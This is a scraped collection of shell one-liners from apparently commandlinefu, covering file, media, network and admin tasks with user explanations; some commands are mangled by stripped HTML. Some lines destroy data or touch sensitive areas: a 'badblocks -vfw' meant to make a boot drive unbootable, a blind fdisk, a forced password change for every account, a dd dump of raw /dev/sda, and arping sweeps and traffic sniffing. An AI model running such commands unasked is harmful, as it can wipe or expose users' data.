--no-recursion The original suggestion did not work for me, when operating on folders located on an external mount (ie other than the root device) in Ubuntu. A variation using xargs does the trick. title() { string=( $@ ); echo ${string[@]^} } return a titlecased version of the string Needs Bash4. Found at http://stackoverflow.com/questions/2264428/converting-string-to-lower-case-in-bash-shell-scripting alongside a few other tricks. wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w $ wget -q -O- http://en.wikipedia.org/wiki/Linux | grep -o 'torvalds' | wc -w Functions: grep wc wget 0 count the appearance of a word or a string in a given webpage Can be used to help perform some SEO optimizations. /sbin/badblocks -v /dev/fd0 1440 badblocks for floppy svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r Functions: cut sed xargs show last revision log on svn update pv -cN orig < foo.tar.bz2 | bzcat | pv -cN bzcat | gzip -9 | pv -cN gzip > foo.tar.gz bzcat: 11.4MB 0:00:03 [2.95MB/s] [ <=> ] gzip: 4.03MB 0:00:03 [1.05MB/s] [ <=> ] orig: 3.12MB 0:00:03 [ 924kB/s] [================> ] 45% ETA 0:00:03 See multiple progress bars at once for multiple pipes with pv In this example we convert a .tar.bz2 file to a .tar.gz file. If you don't have Pipe Viewer, you'll have to download it via apt-get install pv, etc. ‹ First < 186 187 188 189 190 > Last › rm ^'name with spaces' This is for zsh with extended globbing. sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55 dhcdrop - testing/suppression/tracking false DHCP servers kill all the (-y) from the interface eth1, not touching the legitimate server with 00:11:22:33:44:55 homepage: http://www.netpatch.ru/dhcdrop.html download: http://www.netpatch.ru/projects/dhcdrop/dhcdrop-0.5.tar.bz2 play -c 2 -n synth pinknoise band -n 2500 4000 tremolo 0.03 5 reverb 20 gain -l 6 Make some powerful pink noise This generates some powerful but relatively unobtrusive waterfall-like noise. Good if you need to get serious stuff done while your next-door neighbor is throwing a very loud party. You need the sox package installed. rar a -m5 -v5M -R myarchive.rar /home/ Compress archive(s) or directory(ies) and split the output file a - archive m5 - compression level, 0= lowest compression...1...2...3...4...5= max compression -v5M split the output file in 5 megabytes archives, change to 700 for a CD, or 4200 for a DVD R recursive for directories, do not use it for files It's better to have the output of a compression already split than use the 'split' command after compression, would consume the double amount of disk space. Found at http://www.ubuntu-unleashed.com/2008/05/howto-create-split-rar-files-in-ubuntu.html tc qdisc add dev root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class add dev parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded isolated;tc filter add dev parent 1: protocol ip prio 16 u32 match ip dst flowid 1:1 Limit the rate of traffic to a particular address with tc. Tc is used to configure Traffic Control in the Linux kernel. See man tc for further details. This series of commands will limit the bandwidth of the specified device to the limit you set (300kbit in the second command) to the address you specify. awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default MIN=10 && for i in $(seq $(($MIN*60)) -1 1); do printf "\r%02d:%02d:%02d" $((i/3600)) $(( (i/60)%60)) $((i%60)); sleep 1; done Functions: printf seq sleep setxkbmap it Set keyboard layout in X change keyboard layout in X FILE=`ls -ltr /var/lib/pgsql/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIME=`stat -c %Y /var/lib/pgsql/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-TIME)) Functions: awk echo tail Show seconds since modified of newest modified file in directory curl -s http://www.infoplease.com/countries.html | grep "#\n#g' | cut -f 1 -d\< | grep -v "^\ \ *$" Uruguay Uzbekistan Vanuatu Vatican City (Holy See) List of countries #ugly, I know curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '.* ' | sed 's|\t\(.*\) \r|\1|' | tr '\n' ';' | sed 's/\([^;]*\);\([^;]*\);/\2\t\1\n/g' 192.168.1.8 Wii 192.168.1.7 laptop-dell 192.168.1.145 192.168.1.6 laptop 192.168.1.9 server 192.168.1.10 laptop-dell 192.168.1.3 TIVO 192.168.1.4 BAUER-DESKTOP Automagically create a /etc/hosts file based on your DHCP list (only works on Linksys WRT54G router) Will create a sample etc host file based on your router's dhcp list. Now I know this won't work on most routers, so please don't downvote it just because it doesn't work for you. grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n | uniq sorted list of dhcp allocations wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S3O9qi2E2U'` -O - | tee -a parachute-ending.flv | mplayer -cache 8192 - Functions: tee wget Stream and save Youtube video Watch a video while it's downloading. It's additionally saved to the disk for later viewing. ls -atr /home/reports/*.csv -o --time-sty=+%s | tail -1 | awk '{print systime()-$5}' sudo apt-get -y purge $(dpkg --get-selections | awk '((/^linux-/) && (/[0-9]\./) && (!/'"`uname -r | sed "s/-generic//g"`"'/)) {print $1}') Remove old kernels and header data in Ubuntu/Debian Removes all kernels and corresponding packages except of the one you're currently using. file lordtoran.png: PNG image data, 500 x 500, 8-bit/color RGB, non-interlaced dscn1083.avi: RIFF (little-endian) data, AVI, 640 x 480, ~15 fps, video: XviD, audio: MPEG-1 Layer 3 (mono, 22050 Hz) hyoscyamus.pdf: PDF document, version 1.4 /boot/vmlinuz-3.1.0-1-686-pae: Linux kernel x86 boot executable bzImage, version 3.1.0-1-686-pae (unknown@Debian) #1 SMP Mon Nov 14 08:24:20 UTC, RO-rootFS, swap_dev 0x2, Normal VGA mandriva-linux-one-2010.2-KDE4-europe1-americas-cdrom-i586.iso: # ISO 9660 CD-ROM filesystem data 'One-2010.2-KDE4 ' (bootable) Get a file's type and metadata Some shell newbies don't know this very handy file management related command so I decided to include it here. You need to have the "file" package installed. # wc -l /var/log/security/writable.today # wc -l /var/log/security/writable.today 7 /var/log/security/writable.today How many world writeable files on your system? (Mandriva Linux msec) Mandriva Linux includes a security tool called "msec" (configurable via "draksec"). One of the many things it regularily checks for is world writeable files. If any are found, it writes the list to /var/log/security/writable.today. "wc -l" simply counts the number of lines in the file. This number should be low. Browse through /var/log/security/writable.today and consider if any of those files *need* to be world-writeable (and if not, modify the permissions. eg: "chmod o-w $file"). A large number of world-writeable files may indicate that umask is not correctly set in /etc/profile (or ${HOME}/.bash_profile) but could also indicate poor security configuration or even malicious activity. rsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir Transfer Entire recursive from one host to another. Only copies files that are newer or do not exist From opposite host To copy remote to local rsync -aE -e "ssh -pPortnumber" user@hostA:directory target_dir fusermount -u ~/sshfs_mounted_directory umount sshfs mounted directory rename 's/(^|[\s\(\)\[\]_-])([a-z])/$1\u$2/g' * Anyone know how to avoid title casing some words, like 'to', 'of', 'that', etc.? function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\"" Functions: echo less read Key binding to search commandlinefu.com This is a simple bash function and a key binding that uses commandlinefu's simple and easy search API. It prompts for a search term, then it uses curl to search commandline fu, and highlights the search results with less. rename 's/\b([a-z])/\u$1/g' * wc -l file.txt Count lines using wc. unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; } Functions: find mkdir rm xargs decompiler for jar files using jad cat file1 file2|awk -v RS='paragraph delimiter' '{print $0"\n"}'|sed -e '/./{H;$!d;}' -e 'x;/string to search/!d;' Functions: awk cat sed print all paragraphs containing string Concatenate file1 and file2, define paragraph, and search within each paragraph the ones containing the search string, and print just these paragraphs! ‹ First < 187 188 189 190 191 > Last › wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestream.pls* [username@puppy ~]$ wget http://somafm.com/secretagent130.pls; cvlc secretagent130.pls&sleep 5; rm secretagent130.pls* --2011-08-04 15:20:46-- http://somafm.com/secretagent130.pls Resolving somafm.com... 64.147.167.20 Connecting to somafm.com|64.147.167.20|:80... connected. Length: 213 [audio/x-scpls] Saving to: ?secretagent130.pls? 100%[===========================================>] 213 --.-K/s in 0s 2011-08-04 15:20:46 (13.2 MB/s) - ?secretagent130.pls? saved [213/213] [2] 2845 VLC media player 1.1.10 The Luggage (revision exported) Blocked: call to unsetenv("DBUS_ACTIVATION_ADDRESS") Blocked: call to unsetenv("DBUS_ACTIVATION_BUS_TYPE") [0x8ab51c4] dummy interface: using the dummy interface module... [0x8a13e94] main playlist: stopping playback [0xb64011f4] access_http access: Raw-audio server found, m4a demuxer selected [0xb640574c] packetizer_mpeg4audio demux packetizer: AAC channels: 2 samplerate: 44100 [username@puppy ~]$ Functions: rm wget Play a stream and give back the shell I wanted to play a song from the shell and get the shell back, I also dont want to store the file if it is not needed. edit, not sure if I need to mention it... killall vlc to stop it hexdump -c 0000000 B E G I N : V C A R D \r \n V E R 0000010 S I O N : 2 . 1 \r \n N ; C H A R 0000020 S E T = U T F - 8 ; E N C O D I print all characters of any file in human readble form using hexdump - View non printable characters. - view binary files partprobe for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where id = \"$each\";"; done select * from table where id = "1"; select * from table where id = "2"; select * from table where id = "3"; I never can remember the syntax of awk. You can give a different -d option to cut to separate by e.g. commas. Also this allows to do more things with the generated SQL, e.g. to redirect it into different files. find . -type d | tac | xargs rmdir 2> /dev/null Functions: find rmdir tac xargs Remove all empty directories below the current directory. If directories become empty as the results of this, remove those too. wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html $ wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html 9e1f929ea8ffcd508d1fb412cd1abf38 - download with checksum other options: * replace md5sum with sha1sum for SHA1 checksum * replace '>' with '| tar zx' for extracting tarball sed 's/^#\(.*DEBUG\)/\1/' $FILE ls | view - vim read stdin view does not enable the buffer because it opens in read-only, so it does the same bzgrep -i "pattern" pattern.bz2 bzgrep -i "pattern" pattern.bz2 >This is my pattern. Functions: bzgrep search the pattern from bzip2'ed file Search the pattern in bzip2 compressed file with out having to unzip. man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps Functions: ls man Convert man page to PDF Creates a PDF (over ps as intermediate format) out of any given manpage. Other useful arguments for the -T switch are dvi, utf8 or latin1. LC_ALL=C sort file | uniq -c | sort -n -k1 -r Functions: file sort uniq Count repeated lines, listing them in descending order of frequency Finds all (not just adjacent) repeated lines in a file. perl -i -pe 's/\r/\n/g' file Legacy MacOS to Unix text convert using perl if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; arping -c 1 10.1.1.$i | grep reply ; done ; fi arping 10.1.1.20 Unicast reply from 10.1.1.20 [00:50:53:47:AD:2A] 0.938ms arping 10.1.1.21 arping 10.1.1.22 arping 10.1.1.23 The following syntax will scan a range of IP addresses. At the point of a ARP response being received it will show a reply message. for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoiplookup -f /usr/local/share/GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":" ip.txt out.txt>zoom.txt 91.191.161.55:35828:Germany 62.212.73.107:54782:Netherlands 83.149.126.84:40972:Netherlands 78.159.112.45:50106:Germany 91.191.166.96:36133:Germany 62.212.73.107:36148:Netherlands Functions: awk paste IP:PORT to IP:PORT:COUNTRY using geoiplookup take a list of IP:PORT and output IP:PORT:COUNTRY mogrify -resize 600x800! *.jpg Batch resize image to exact given resolution ignoring aspect ratio - Backup data before reszie as it over write original -To preserve aspect ratio remove ! echo "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at now + 3 hours 1>&2 &>/dev/null This is helpful for shell scripts, I use it in my custom php install script to schedule to delete the build files in 3 hours, as the php install script is completely automated and is made to run slow. You can add as many commands to the at you want. Here's how I delete them in case the script gets killed. (trapped) atq |awk '{print $1}'|xargs -iJ atrm J &>/dev/null sox *.mp3 -t wavpcm - | lame - > bunch.mp3 Merge - Concate MP3 files That way, you can make a mix on the fly with the mp3 files in the current directory to make a bunch mp3 file. cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS] Supports many features: cdd -- goes back two directories cdd --- goes back three directories cdd , comma operator - go to the most "common" directory cdd ,, second most common cdd + go to the first directory cdd ++ go to the second directory Cd Deluxe - improved cd command for *nix and windows Hello, Take a look at this free cd replacement - "cd deluxe" a.k.a. "cdd". It is a free open source (GPLv3) application that I have created. As a long time command line enthusiast I have always been frustrated with the limited capabilities of the humble "cd" command. Especially since that is the most commonly used command line utility! See http://www.plan10.com/cdd for the full details and download information. Thanks, -Mike ruby -e " 3.times { system 'pdflatex mydoc.tex' } " Compile a latex doc to generate index When I make a latex document, I need to compile three times for generate an updated index of contents. With ruby on command line, I run this operation with a fast one liner. wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album The only zipped version of an album available for download is the lossy mp3 version. To download lossless files, because of their size, you must download them individually. This command scrapes the page for all the FLAC (or also SHN) files. mount -o remount,ro /dev/foo / Remount an already-mounted filesystem without unmounting it Necessary for fsck for example. The remount functionality follows the standard way how the mount command works with options from fstab. It means the mount command doesn't read fstab (or mtab) only when a device and dir are fully specified. After this call all old mount options are replaced and arbitrary stuff from fstab is ignored, except the loop= option which is internally generated and maintained by the mount command. It does not change device or mount point. ![command] 176 mkdir /root/test 177 cd /root/test 178 history [root@server test]# !mkdir mkdir /root/test Run last history entry based on a given command Run last history entry based on a given command. www.fir3net.com vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n` Functions: cut echo sort uniq vim xargs Grep across a directory and open matching files in vim (one tab per file) vim 7 required tr -d "\r" < dos.txt > linux.txt Convert windows text file to linux text document perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt encode HTML entities Encodes HTML entities from input (file or stdin) so it's possible to directly past the result to a blog or HTML source file. ‹ First < 188 189 190 191 192 > Last › awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE Basically it creates a typical word list file from any normal text. badblocks -vfw /dev/fd0 10000 ; reboot THIS COMMAND IS DESTRUCTIVE. That said, lets assume you want to render your boot drive unbootable and reboot your machine. Maybe you want it to boot off the network and kickstart from a boot server for a fresh OS install. Replace /dev/fd0 with the device name of your boot drive and this DESTRUCTIVE command will render your drive unbootable. Your BIOS boot priority should be set to boot from HD first, then LAN. echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX Functions: echo fdisk Partition a new disk as all one partition tagged as "LInux LVM" This is a bit hacky, but if you're setting up a bunch of new LUNs, it can save a bunch of time. Also check out sfdisk. The fdisk will fail if, for example, a partition table already exists. catfish --fileman=nautilus --path=/home/ --hidden --method=find Change the default Catfish file manager and search method Change the launcher of catfish to use a different file manager using Find catfish --fileman=nautilus --path=/home/ --hidden --method=find using Locate catfish --fileman=pcmanfm --path=/ --hidden --method=locate sudo updatedb diff rpm_output_from_other_computer <(rpm -qa|sort) # Standard diff output... Using <(command_here) will do the same job as "command_here > command_output" and then use command_output instead of <(command_here). This trick can be used for much more than diff as the command that get this as a parameter wont see the different between the <( ) file descriptor and a normal file. Eg: diff /etc/passwd <(ssh remotehost "cat /etc/passwd") ls <(ls), will give you a little hint why this works :) Functions: diff rpm Using commandoutput as a file descriptor aptitude search ~i -F %p This will print the name of every installed package on a Debian system. history -s command Add command to bash history without executing it Use this if you want to add command to your bash history, but you do not necessarily want to execute it now or ever. seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; } jeju:[xxxx] > seg "200.167.208\n10.0.0" 200.167.208.1 200.167.208.2 200.167.208.3 200.167.208.4 200.167.208.5 200.167.208.6 200.167.208.7 200.167.208.8 200.167.208.9 200.167.208.10 10.0.0.2 10.0.0.3 10.0.0.4 10.0.0.5 10.0.0.6 10.0.0.7 10.0.0.8 10.0.0.9 10.0.0.10 Functions: echo read seq Command to build one or more network segments - with while atrm $(atq|cut -f1) Functions: atrm cut remove at jobs Removes all the at shedules jobs printf "\n%25s%10sTOTAL\n" 'FILE TYPE' ' '; for ext in $(find . -iname \*.* | egrep -o '\.[^[:space:].]+$' | egrep -v '\.svn*' | sort -f | uniq -i); do count=$(find . -iname \*$ext | wc -l); printf "%25s%10s%d\n" $ext ' ' $count; done FILE TYPE TOTAL Functions: egrep find printf sort uniq wc Get a count of how many file types a project has I created this command to give me a quick overview of how many file types a directory, and all its subdirectories, contains. It works based off file extension, rather than file(1)'s magic output, because it ended up being more accurate and less confusing. Files that don't have an ext (README) are generally not important for me to want to count, but you're free to customize this fit your needs. LIST="/some/pic/file /another/picture /one/more/pic"; PIC=$(echo $LIST | sed s/"\ "/"\n"/g | shuf | head -1 | sed s/'\/'/'\\\/'/g ); sed -i s/Mrxvt.Pixmap:.*/"Mrxvt.Pixmap:\t$PIC"/ ~/.mrxvtrc Functions: echo head sed Random mrxvt background Simple way of having random mrxvt backgrounds. Add this to your bashrc and change the path names for the pictures. mplayer $(ls -l /proc/$(pgrep -f flash)/fd/* |grep Flash | cut -d" " -f8) Functions: cut grep ls mplayer all flash videos being streamed in Chromium tr -d "\r" < file.vcf | tr "\0" " " > file.vcf.txt Convert phone book VCARD to text find . -iname "*.jpg" -printf '\n' > gallery.html More compact and direct. alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep --color=always -ni -C2' ./openssl/signatures.c-600-xmlSecOpenSSLDsaSha1EvpInit(EVP_MD_CTX *ctx) ./openssl/signatures.c-601-{ ./openssl/signatures.c:602: return SHA1_Init(ctx->md_data); ./openssl/signatures.c-603-} ./openssl/signatures.c-604- ./openssl/signatures.c-706- NULL, ./openssl/signatures.c-707-#else /* XMLSEC_OPENSSL_096 */ ./openssl/signatures.c:708: SHA1_Init, ./openssl/signatures.c-709- SHA1_Update, ./openssl/signatures.c-710- SHA1_Final, Functions: alias grep xargs Creates a customized search command Creates a command alias ('cr' in the above example) that searches the contents of files matching a set of file extensions (C & C++ source-code in the above example) recursively within the current directory. Search configured to be in colour, ignore-case, show line numbers and show 4 lines of context. Put in shell initialisation file of your choice. Trivially easy to use, e.g: cr sha1_init alias pst='pstree -Alpha' |-(events/6,32) |-(events/7,33) |-gam_server,3914 |-gdm-binary,4670 -nodaemon | `-gdm-binary,4766 -nodaemon | |-Xorg,4771 :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7 | `-gdmgreeter,4786 |-gdm-rh-security,4768 Alias for displaying a process tree nicely By 'pst' you can print out process tree with all details about all processes (including a command line, PID, and the current process you are running in). By 'pst username' you can get an information about processes belonging to the particular user 'username'. seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done } jeju:[xxxx] > seg "200.167.208 10.0.0" Command to build one or more network segments - with for while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd Functions: passwd read force change password for all user This assumes that te original's 'passwd -e' forces a user to change password; it doesn't in the versions I have. echo -e "12 morning\n15 afternoon\n24 evening" |awk '{if ('`date +%H`'<$1) {print "Good "$2;exit}}' sprunge () { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; } Posts a file to sprunge.us and copies the related url to the clipboard for x in `find /dir_w_wrong_ownership/`; do y=`echo "$x" | sed 's,/dir_w_wrong_ownership/,/backup_dir/,'`; chown --reference $y $x; done; Functions: chown sed Restore permissions or ownership from a backup directroy requires: a directory with borked permissions and a backup directory that has the correct permissions. works with chown or chmod ps -p pid -o logname |tail -1 Functions: logname ps tail Get the name or user running the process of specified PID sed -r 's/'$(echo -e "\033")'\[[0-9]{1,2}(;([0-9]{1,2})?)?[mK]//g' Remove ANSI colors from stream or file ps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut -f1,2,3 -d" " Functions: awk cut grep ps sed xargs the executable that started the currently running oracle databases and the ORACLE_HOME relative to each get a list of currently running oracle dbs (identified by the pmon process) show the executable that spawned the process and show the ORACLE_HOME relative to the environment within which the process is running tailored to AIX (sed on linux behaves...differently) suggestions for a better way...please. mplayer -playlist <(find $PWD -type f) Play files with mplayer, including files in sub-directories, and have keyboard shortcuts work Press > or < to go to the next or previous track. Space to toggle play/pause, etc. It creates a temp file descriptor. To see where the file descriptor gets created type: echo <(echo foo) This works better than running find first, then piping to mplayer with xargs or something, because that won't let you use keyboard shortcuts. ‹ First < 189 190 191 192 193 > Last › for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_ =~ /^(\d+)/; print $1;'`; do screen -x $pid; done Functions: awk grep perl screen Iterate through screens Personally, I save this in a one line script called ~/bin/sci: I also use: alias scx='screen -x' alias scl='screen -ls | grep -v $STY' for crt in $(locate -r '.+\.crt' | grep -v "/usr/share/ca-certificates/"); do ls -la $crt; done foo.com.crt bar.com.crt Functions: grep locate ls Find all relevant certificates (excluding some dirs) and list them each Finds all cert files on a server and lists them, finding out, which one is a symbolic link and which is true. You want to do this when a certificate expires and you want to know which files to substitute with the new cert. mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls The solution to a year long (and extremely frustrating) problem I've had, caused by the fact that I only have one speaker; this command downmixes the stream to monophonic output, making sure I don't miss any of the music. NOTE: When stream is in .m3u format, a -playlist option is required, as shown below: mplayer -af pan=1:0.5:0.5 -channels 1 -playlist radiostream.m3u This command works great with aliases for various channels in .bashrc. Sample below: alias radio1='mplayer -af pan=1:0.5:0.5 -channels 1 radio1stream.pls' alias opened='p4 opened | awk -F# "{print \$1}"' Functions: alias awk Print the list of all files checked out by Perforce SCM Just type 'opened' and get all files currently opened for edit. awk 'FNR==5' Just one character longer than the sed version ('FNR==5' versus -n 5p). On my system, without using "exit" or "q", the awk version is over four times faster on a ~900K file using the following timing comparison: testfile="testfile"; for cmd in "awk 'FNR==20'" "sed -n '20p'"; do echo; echo $cmd; eval "$cmd $testfile"; for i in {1..3}; do time for j in {1..100}; do eval "$cmd $testfile" >/dev/null; done; done; done Adding "exit" or "q" made the difference between awk and sed negligible and produced a four-fold improvement over the awk timing without the "exit". For long files, an exit can speed things up: awk 'FNR==5{print;exit}' wget -qO - http://www.sputnick-area.net/ip;echo cat ~/.ssh/id_rsa.pub | ssh "xargs --null echo >> ~/.ssh/authorized_keys" Create SSH key exchange from one host to the other Well its just appending your public key to the remote hosts authorized_keys, but can get messy logging in and out (IFS=; sed 's/^[]0;[^^G]*^G/^M/g' | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo) $ script session.log Script started, file is session.log /home/jon Script done, file is session.log $ (IFS=; sed 's/^[]0;[^^G]*^G/^M/g' session.log | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo) Script started on Wed 20 Jan 2010 15:56:36 GMT Script done on Wed 20 Jan 2010 15:56:45 GMT Functions: echo read sed sleep Play back shell session recorded using the This command will play back each keystroke in a session log recorded using the script command. You'll need to replace the ^[ ^G and ^M characters with CTRL-[, CTRL-G and CTRL-M. To do this you need to press CTRL-V CTRL-[ or CTRL-V CTRL-G or CTRL-V CTRL-M. You can adjust the playback typing speed by modifying the sleep. If you're not bothered about seeing each keypress then you could just use: cat session.log find /path/to/archive/?/??/??? -mtime -7 -name "*.pdf" | xargs stat -c "%s"| awk '{sum +=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label' 6,113,578,634 Functions: awk find sed stat xargs Summarize total storage used by files obtained by a find command The find command isn't the important bit, here: it's just what feeds the rest of the pipe (this one looks for all PDFs less than 7 days old, in an archive directory, whose structure is defined by a wildcard pattern: modify this find, to suit your real needs). I consider the next bit the useful part. xargs stats out the byte-size of each file, and this is passed to awk, which adds them all together, and prints the grand total. I use printf, in order to override awk's tendency to swtich to exponential output above a certain threshold, and, specifically "%0.0f\n", because it was all I can find to force things back to digital on Redhat systems. This is then passed to an optional sed, which formats them in a US/UK number format, to make large numbers easier to read. Change the comma in the sed, for your preferred separator character (e.g. sed -r ':L;s=\b([0-9]+)([0-9]{3})\b=\1 \2=g;t L' for most European countries). (This sed is credited to user name 'archtoad6', on the Linuxquestions forum.) This is useful for monitoring changes in the storage use within large and growing archives of files, and appears to execute much more quickly than some options I have seen (use of a 'for SIZE in find-command -exec du' style approach, instead, for instance). I just ran it on a not particularly spectacular server, where a directory tree with over three thousand subdirectories, containing around 4000 files, of about 4 Gigs, total, responded in under a second. env LC_CTYPE=C tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 Functions: env head tr generate random password (works on Mac OS X) Prepending env LC_CTYPE=C fixes a problem with bad bytes in /dev/urandom on Mac OS X for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done Functions: rm tar Compress all .txt files to .txt.ta.gz and remove the original .txt goo some things you search for < file grep for some stuff from this file only list longest_match $ goo foo match longest_match list bar < file longest_match list grep for a list of values and list matching values NOT matching lines each time they match If you want to know which values from a list are used within a file. Here's the bash function - called goo - for lack of a better name ;) function goo() { perl -e 'while (my $l = ) { foreach (sort { length($b) <=> length($a) } @ARGV) { print "$_\n" x $l =~ s/$_//ig; } }' "$@" tcpflow -c port 80 | grep Host find . -name "*.php" -exec grep \-H "new filter_" {} \; tao/tests/filter/TestUrl.php: $this->objFilter = new filter_Url(); tao/classes/local/view/Photos.php: $objFilter = new filter_Url(); This greps all PHP files for a given classname and displays both the file and the usage. ropened='p4 opened | awk -F# "{print \$1}" | p4 -x - revert' Revert back all files currently checked out by Perforce SCM for edit no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done random-file.5 random-file.6 random-file.7 random-file.8 random-file.9 Functions: dd echo file Generate Files with Random Content and Size in Bash Create a bunch of random files with random binary content. Basically dd dumps randomly from your hard disk to files random-file*. curl -u http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/description | awk -F= '{print $2}' queued Youtube video queued TEDTalks : The amazing intelligence of crows - Joshua Klein queued The Fresh Prince of the Dark Side Pranks Christian TV queued Grand Theft Auto: Chinatown Wars queued Flight of the Conchords Ep 6 Bret, You've got it Going On List your Boxee queue Might be able to do it in less steps with xmlstarlet, although whether that would end up being shorter overall I don't know - xmlstarlet syntax confuses the heck out of me. Prompts for your password, or if you're a bit mental you can add your password into the command itself in the format "-u user:password". diff -x "*CVS*" -r [] diff recursively, ignoring CVS control files This will cause diff to ignore any files whose path matches "*CVS*", ie any CVS control files. watch 'find -maxdepth 1 -mindepth 1 -type d |xargs du -csh' Every 2s: find -type d -maxdepth 1 -mindepth 1 |xargs du -csh Wed May 19 14:11:09 2010 4.9M ./centos44 7.2M ./centos52 7.8M ./centos53 20K ./pxelinux.cfg 5.6M ./rhel47 7.2M ./rhel52 110M ./srcd032 142M total Functions: du watch xargs Show directory sizes, refreshing every 2s This command shows the size of directories below here, refreshing every 2s. It will also track directories created after running the command (that what the find bit does). Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six" "seven" );savedIFS="${IFS}";IFS=$'\n';Array3=($(comm -12 <(echo "${Array1[*]}" |sort -u) <(echo "${Array2[*]}" | sort -u)));IFS=$savedIFS $ echo ${Array3[@]} five four Functions: comm echo sort intersection of two arrays the comm utility (opposite of diff) show commonalities in files (in this case strings) for i in *.tar.gz; do tar -x -v -z -f $i && rm -v $i; done for i in `seq 0 9` A B C D E F; do for j in `seq 0 9` A B C D E F; do HEX=\$\'\\x${i}${j}\'; if ! eval grep -qF "$HEX" file; then eval echo -n $HEX; fi; done; done 2> /dev/null | less Functions: echo eval grep Scan a file and print out a list of ASCII characters that are not used in the file which can then be safely used to delimit fields. Useful when needing to convert CSV files using "," to a single character delimiter. Piping it into less at the end (which could be redundant) stops the command characters being interpreted by the terminal. perl -e "use SOAP::Lite" $ perl -e "use SOAP::Lite" $ perl -e "use SOAP::Lit" Can't locate SOAP/Lit.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/i86pc-solaris /usr/local/lib/perl5/5.8.8 /usr/local/lib/perl5/site_perl/5.8.8/i86pc-solaris /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl .) at -e line 1. BEGIN failed--compilation aborted at -e line 1. Perl check if library is installed Quick command to check if Perl library is installed on your server. egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log Check if you need to run LaTeX more times to get the refefences right LaTeX is not a smart compiler - You need to run it several times to make it back-patch all the missing refs. The message if to do so or not is buried in its endless output and the log file. This grep lines helps to find it. mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi gnu@robby:~/pencil$ mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi success: format: 16 data: 0x0 - 0x0 MF file format detected. [mf] search expr: *.jpg [mf] number of files: 47 (188) VIDEO: [IJPG] 800x600 24bpp 25.000 fps 0.0 kbps ( 0.0 kbyte/s) [V] filefmt:16 fourcc:0x47504A49 size:800x600 fps:25.00 ftime:=0.0400 Selected video codec: [ffmjpeg] vfm: ffmpeg (FFmpeg MJPEG decoder) VDec: vo config request - 807 x 682 (preferred colorspace: Planar YV12) VDec: using Planar YV12 as output csp (no 3) Movie-Aspect is 1.18:1 